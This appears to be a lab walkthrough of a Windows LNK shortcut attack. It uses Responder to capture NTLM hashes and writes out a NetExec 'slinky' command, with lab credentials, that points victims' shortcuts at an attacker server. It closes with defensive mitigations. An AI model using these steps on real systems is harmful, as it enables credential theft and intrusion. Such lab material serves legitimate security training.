LNK File Attack
Last updated
Last updated
The LNK file attack leverages Windows shortcut files to perform malicious activities, such as executing commands or delivering payloads when a victim opens :
The attacker creates a Windows shortcut file (.lnk) that points to a malicious network resource (e.g., a file hosted on the attacker's machine). This file is designed to execute malicious commands or deliver payloads when opened. :
After creating the LNK file, navigate to the folder where you created it. On the attacker’s Kali machine, check the HYDR-DC folder,
then open the hackme folder to confirm that the file ~test.png exists. This file will be served to the victim when the LNK file is opened.
Step 3: Run Responder to Capture Hashes
Once the victim opens the malicious LNK file (or interacts with the malicious shortcut), Responder will capture the authentication hashes
To see the captured hashes in more detail, run the following command on Kali:
-V
: This option increases verbosity, providing detailed information about captured hashes.
The captured hashes represent the victim's credentials, which could be cracked or leveraged in further attacks.
NetExec is a tool similar to CrackMapExec, which allows the attacker to execute commands on the victim’s machine remotely via SMB.
netexec smb
: Uses the SMB protocol for interaction.
192.168.92.128
: The IP address of the victim.
-d marvel.local
: The domain name.
-u fcastle -p Password1
: The victim's credentials (username and password).
-M slinky
: The malicious module to execute.
-o NAME=test SERVER=192.168.92.129
: Parameters that pass additional information, such as the server from which the payload is served.
Once the command is executed, you will see results indicating that the payload has been successfully executed, and you can proceed with further exploitation or data exfiltration if desired.
Disable LNK Files: Block the execution of LNK files in sensitive environments or limit access to file types that can execute commands.
Use SMB Signing: Ensure SMB signing is enabled to prevent man-in-the-middle attacks.
Monitor Network Traffic: Set up monitoring tools to track SMB and DNS requests for signs of malicious activities.
User Education: Educate users on the dangers of opening unsolicited files and shortcuts, especially from untrusted sources.